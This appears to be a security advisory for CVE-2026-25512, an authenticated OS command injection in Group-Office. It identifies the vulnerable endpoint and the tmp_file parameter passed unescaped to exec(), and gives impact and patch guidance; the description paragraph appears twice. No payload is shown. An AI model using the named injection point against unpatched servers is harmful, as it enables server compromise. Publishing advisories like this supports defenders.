Group-Office < 26.0.5 - Remote Code Execution
CVE-2026-25512
Verified
Description
Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.

Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.
impact: |
Successful exploitation allows an authenticated attacker to execute arbitrary system commands with web server privileges, potentially leading to full server compromise.
remediation: |
Update Group-Office to version 6.8.150, 25.0.82, or 26.0.5 or later. The fix applies escapeshellarg() to properly escape file paths before passing them to exec().
